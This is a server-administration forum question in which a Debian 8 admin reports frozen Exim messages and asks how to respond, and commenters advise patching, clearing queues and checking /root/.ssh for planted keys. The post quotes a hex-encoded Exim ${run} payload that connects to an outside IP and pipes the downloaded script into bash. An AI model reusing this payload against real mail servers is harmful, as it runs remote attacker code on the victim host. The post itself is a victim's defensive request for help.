0

Recently, I began to receive similar frozen messages. I have a Debian GNU / Linux server 8.10 Exim version 4.84_2. Everyone reports that this version is not confirmed by attacks, however I get the following messages:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x31\x35\x2e\x35\x36\x2e\x31\x36\x31\x2f\x34\x34\x33\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost

I do not have in the system of suspicious processes and running cron jobs. What do you recommend to do in this case? I will be very grateful for valuable advice.

Can I upgrade exim to version 4.92 and how to do it on debian 8?

  • 2
    You should have already installed the security update! Stop reading this and do that now. – Michael Hampton Jun 24 at 7:25
  • But I'm already using the later version exim 4.84.2-2+deb8u5 for debian 8 jessie – sysadm92 Jun 24 at 8:29
  • Yes, it seems that this is flying under the radar of the jessie LTS support, and you are definitely being hit by the exploits. If you have a default Exim that does not relay messages, then you cannot somewhat alleviate the problem by restarting the service every 24 hours as the known exploit needs an open connection for several days. If you use it for relaying then it is an even bigger problem. You would have to empty the queues for held messages every day also. – user188737 Jun 24 at 8:46
  • Also inspect /root/.ssh for recently created keys as this seems a common automated attack drop. – user188737 Jun 24 at 9:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.